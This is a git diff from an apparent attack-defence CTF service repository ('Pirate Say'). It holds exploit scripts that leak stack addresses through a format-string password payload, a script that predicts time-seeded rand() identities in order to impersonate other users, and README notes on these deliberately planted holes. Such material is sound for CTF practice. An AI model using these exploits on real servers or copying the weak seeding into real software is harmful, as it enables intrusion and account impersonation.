diff --git a/debug/bambixploit_exploit1.py b/debug/bambixploit_exploit1.py index 0690ba7..6d7433e 100644 --- a/debug/bambixploit_exploit1.py +++ b/debug/bambixploit_exploit1.py @@ -13,7 +13,8 @@ import requests -TARGET = sys.argv[1] # The target's ip address is passed as an command line argument +TARGET = "10.1.6.1" # Actual target, since for the perma setup it is only running on one host +ATTACK_INFO_TARGET = sys.argv[1] # The target's ip address is passed as an command line argument PORT = 4444 def recv_until_prompt(s, prompt): @@ -49,7 +50,7 @@ def exploit(hint: Optional[str], flag_store: Optional[int]): recv_until_prompt(s, b': ') # Send the format string exploit as the password - s.sendall(b'%31$llx.%32$llx\n') + s.sendall(b'%26$llx.%27$llx\n') incorrect_message = recv_until_prompt(s, b'$ ').decode() # Extract the two addresses from the incorrect message @@ -71,7 +72,7 @@ def exploit(hint: Optional[str], flag_store: Optional[int]): # Bambi CTF / ENOWARS flag hints: attack_info = requests.get('http://10.0.13.37:5001/scoreboard/attack.json').json() service_info = attack_info['services']['piratesay'] -team_info = service_info[TARGET] # Get the information for the current target +team_info = service_info[ATTACK_INFO_TARGET] # Get the information for the current target threads = [] for round_nr in team_info: round_info = team_info[round_nr] diff --git a/debug/bambixploit_exploit2.py b/debug/bambixploit_exploit2.py index 8fb7571..8631a84 100644 --- a/debug/bambixploit_exploit2.py +++ b/debug/bambixploit_exploit2.py @@ -67,12 +67,14 @@ # Load the C standard library libc = ctypes.CDLL(None) -# Set argument and return types -libc.srand.argtypes = [ctypes.c_uint] -libc.rand.restype = ctypes.c_int +# Set argument and return types for rand_r +libc.rand_r.argtypes = [ctypes.POINTER(ctypes.c_uint)] +libc.rand_r.restype = ctypes.c_int -def generate_identity_string(): - return ''.join(chr(ord('a') + (libc.rand() % 26)) for _ in range(IDENTITY_LENGTH)) +def generate_identity_string(state): + state_ptr = ctypes.c_uint(state) + identity_string = ''.join(chr(ord('a') + (libc.rand_r(ctypes.byref(state_ptr)) % 26)) for _ in range(IDENTITY_LENGTH)) + return identity_string, state_ptr.value def get_unix_time_from_string(date_string): # Format of date_string: "2024-07-15 11:35:24" @@ -129,8 +131,17 @@ def recv_until_prompt(prompt): def get_matching_identites(seed, current_identity, target_file): # Generate all potential identities up to the current one - libc.srand(seed) + seed = 491621266 + for i in range(10000000): + identity, seed = generate_identity_string(seed) + if i % 10000 == 0: + print(f"Generated {i} identities") + print("Current seed:", seed) + print("Next is then identity:", identity) + + print("Finished generating identities") potential_identities = [] + iteration = 0 while True: identity_string = generate_identity_string() potential_identities.append(identity_string) @@ -175,22 +186,38 @@ def recv_until_prompt(prompt): return response -TARGET = sys.argv[1] # The target's ip address is passed as an command line argument +TARGET = "10.1.6.1" # Actual target, since for the perma setup it is only running on one host +ATTACK_INFO_TARGET = sys.argv[1] # The target's ip address is passed as an command line argument PORT = 4444 def exploit(hint: Optional[str], flag_store: Optional[int]): print(f'Attacking {TARGET} (flag_store={flag_store}, hint={hint})') # TODO implement exploit + print("Starting") private_dir, private_file = hint.split('/') seed, current_identity = get_seed_and_current_identity(TARGET, PORT) + print("Finished getting seed and current identity") + print(f"Seed: {seed}, Current Identity: {current_identity}") matching_identities = get_matching_identites(seed, current_identity, private_file) + + # In case a service is running for the entire duration of the CTF, + # we will only look at the last 1000 identities + matching_identities = matching_identities[-1000:] + + print("Finished finding matches") + + + responses = [] + for identity in matching_identities: + resp = process_identity(identity, private_file, private_dir, TARGET, PORT) + responses.append(resp) - # Use ThreadPoolExecutor to parallelize the process_identity function - with ThreadPoolExecutor() as executor: - responses = executor.map(lambda identity: process_identity(identity, private_file, private_dir, TARGET, PORT), matching_identities) + # # Use ThreadPoolExecutor to parallelize the process_identity function + # with ThreadPoolExecutor() as executor: + # responses = executor.map(lambda identity: process_identity(identity, private_file, private_dir, TARGET, PORT), matching_identities) # Iterate over the responses to find the flag for response in responses: @@ -203,7 +230,7 @@ def exploit(hint: Optional[str], flag_store: Optional[int]): # Bambi CTF / ENOWARS flag hints: attack_info = requests.get('http://10.0.13.37:5001/scoreboard/attack.json').json() service_info = attack_info['services']['piratesay'] -team_info = service_info[TARGET] # Get the information for the current target +team_info = service_info[ATTACK_INFO_TARGET] # Get the information for the current target threads = [] for round_nr in team_info: round_info = team_info[round_nr] diff --git a/debug/bambixploit_state_getter.py b/debug/bambixploit_state_getter.py new file mode 100644 index 0000000..ac8bb44 --- /dev/null +++ b/debug/bambixploit_state_getter.py @@ -0,0 +1,88 @@ +import ctypes +import re +import socket +import sys +import time + +IDENTITY_LENGTH = 64 + +# Load the C standard library +libc = ctypes.CDLL(None) + +# Set argument and return types for rand_r +libc.rand_r.argtypes = [ctypes.POINTER(ctypes.c_uint)] +libc.rand_r.restype = ctypes.c_int + +def generate_identity_string(state): + state_ptr = ctypes.c_uint(state) + identity_string = ''.join(chr(ord('a') + (libc.rand_r(ctypes.byref(state_ptr)) % 26)) for _ in range(IDENTITY_LENGTH)) + return identity_string, state_ptr.value + +def get_unix_time_from_string(date_string): + # Format of date_string: "2024-07-15 11:35:24" + return int(time.mktime(time.strptime(date_string, "%Y-%m-%d %H:%M:%S"))) + +TARGET = sys.argv[1] # The target's ip address is passed as an command line argument +PORT = 4444 + +def get_seed_and_current_identity(host, port): + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: + s.connect((host, port)) + + # Receive the initial server message + def recv_until_prompt(prompt): + data = b'' + while not data.endswith(prompt): + data += s.recv(1024) + return data + + initial_message = recv_until_prompt(b'$ ').decode() + # Extract the timestamp from the initial message + match = re.search(r'\(Pirate Say v1.0.0, up since (.+?)\)', initial_message) + if match: + seed_string = match.group(1) + seed = get_unix_time_from_string(seed_string) + else: + print("Failed to extract seed from server message") + exit(1) + + # Get the current identity + s.sendall(b'identity\n') + identity_response = recv_until_prompt(b': ').decode() + s.sendall(b'\n') # Keeping current identity + recv_until_prompt(b'$ ') + current_identity = identity_response.split("\n")[0].split(":")[1].strip() + return seed, current_identity + +# 1. Try to read state.txt if it exists +try: + with open("state.txt", "r") as f: + state = int(f.readline()) + match = f.readline().strip() +except FileNotFoundError: + # 1. Get starting seed and current identity by connecting + state, match = get_seed_and_current_identity(TARGET, PORT) + with open("state.txt", "w") as f: + f.writelines([str(state), "\n", match]) + +# 2. Generate identity strings until we find the correct one, print every Nth identity +# start_seed = 1721065234 +N = 100000 +BACK = 10000 +i = 1 +states = [] +while True: + identity, state = generate_identity_string(state) + if identity == match: + print(f"Found matching identity: {identity}") + break + if i % N == 0: + print(f"State at {i}: {state}") + states.append(state) + i += 1 + +# 3. Print the final state +print(f"Match found! State: {state}") +print(f"Storing state {N} steps past, as they might include active flags") +with open("state.txt", "w") as f: + f.writelines([str(state), "\n", match]) diff --git a/documentation/README.md b/documentation/README.md index 7eee576..d869c04 100644 --- a/documentation/README.md +++ b/documentation/README.md @@ -4,15 +4,18 @@ Pirate Say is a TCP-server written in C that presents itself as a pirate-themed - .log files: these are standard log files without any password protection - .treasure files: these files are protected by a password input that contain a format string vulnerability +- .private files: these files are associated with a specific user. However, there is a weekness in using the server's startup time to seed the random numbers. Combined with the option to change your "identity string" when connected, this allows us to pose as other users. # Vulnerabilities ## Vulnerability #1 - Parrot echoes password back - Category: Format string -- Difficulty: Medium +- Difficulty: Easy/Medium -When trying to access .treasure files, the guarding parrot echoes back your words after each attempt. However, her words are printed without format specifiers, meaning the attempted password "%p" would give back a pointer read from the stack. +When trying to access .treasure files, the guarding parrot echoes back your words after each attempt. However, its words are printed without format specifiers, meaning the attempted password "%p" would give back a pointer read from the stack. + +Note: The code specifically prevents against %n by escaping the % (giving us %%n). The code is structured in a way to try to hide it, as it could be a partial give-away. # Exploits diff --git a/documentation/piratesay_fully_patched b/documentation/piratesay_fully_patched new file mode 100755 index 0000000..d4655d2 Binary files /dev/null and b/documentation/piratesay_fully_patched differ diff --git a/documentation/piratesay_patched_exploit2 b/documentation/piratesay_patched_exploit2 new file mode 100755 index 0000000..ccc6994 Binary files /dev/null and b/documentation/piratesay_patched_exploit2 differ diff --git a/service/entrypoint.sh b/service/entrypoint.sh index fa93287..afbe04c 100755 --- a/service/entrypoint.sh +++ b/service/entrypoint.sh @@ -22,4 +22,4 @@ make -C /src exec su -s /bin/sh -c '/src/piratesay' service # Keep the container running -tail -f /dev/null +# tail -f /dev/null diff --git a/service/src/a.py b/service/src/a.py index c322bae..6750b9b 100644 --- a/service/src/a.py +++ b/service/src/a.py @@ -116,7 +116,7 @@ def recv_until_prompt(prompt): current_identity = identity_response.split("\n")[0].split(":")[1].strip() # Generate all potential identities up to the current one -libc.srand(seed) +libc.srand(0x3039) potential_identities = [] while True: identity_string = generate_identity_string() @@ -127,8 +127,8 @@ def recv_until_prompt(prompt): print("Match at offset:", len(potential_identities)) # The target file we're looking for -target_directory = "DeadMansBay" -target_file = "mythic_powder_monkey_found_shipwreck_2017-09-09_2055.private" +target_directory = "ParrotPerch" +target_file = "fearless_crowsnest_scam_2024-07-15_1924.private" target_name = target_file.split('_')[0] + '_' + target_file.split('_')[1] # Filter potential identities to find matching ones diff --git a/service/src/rand_finder.c b/service/src/rand_finder.c new file mode 100644 index 0000000..02b38fd --- /dev/null +++ b/service/src/rand_finder.c @@ -0,0 +1,40 @@ +#include + +static unsigned long int next = 1; + +void advance_rand_state(unsigned long int *state, unsigned int a, unsigned int c, unsigned int m, unsigned int k) +{ + unsigned long int a_k = 1; + unsigned long int c_k = 0; + unsigned long int temp_a = a; + unsigned long int temp_c = c; + + while (k > 0) + { + if (k & 1) + { + a_k = (a_k * temp_a) % m; + c_k = (c_k * temp_a + temp_c) % m; + } + temp_c = (temp_c * (temp_a + 1)) % m; + temp_a = (temp_a * temp_a) % m; + k >>= 1; + } + + *state = (a_k * (*state) + c_k) % m; +} + +int main() +{ + unsigned long int state = 1; // Example initial state + unsigned int a = 1103515245; + unsigned int c = 12345; + unsigned int m = 1 << 31; // 2^31 + unsigned int k = 1000; + + advance_rand_state(&state, a, c, m, k); + + printf("State after advancing 1000 steps: %lu\n", state); + + return 0; +} \ No newline at end of file diff --git a/service/src/server.c b/service/src/server.c index 6734e60..3788f42 100644 --- a/service/src/server.c +++ b/service/src/server.c @@ -17,6 +17,7 @@ char root_dir[PATH_MAX]; int server_fd; // Make server_fd global so it can be accessed in the signal handler time_t startup_time = 0; +int user_count = 0; void handle_sigint(int sig) { @@ -126,7 +127,7 @@ void print_terminal_prompt(session_t *session) char dir_message[PATH_MAX]; memset(dir_print, 0, sizeof(dir_print)); strcat(dir_print, session->local_dir); - safe_snprintf(dir_message, sizeof(dir_message), "\n%s%s:%s$ ", session->pirate_adjective, session->pirate_noun, dir_print); + safe_snprintf(dir_message, sizeof(dir_message), "\n%s%s(%d):%s$ ", session->pirate_adjective, session->pirate_noun, user_count, dir_print); send(session->sock, dir_message, strlen(dir_message), 0); } @@ -268,6 +269,7 @@ int main() char pirate_identity[65]; generate_random_identity(pirate_identity); // Generate a random identity + user_count++; pid_t pid = fork(); if (pid < 0)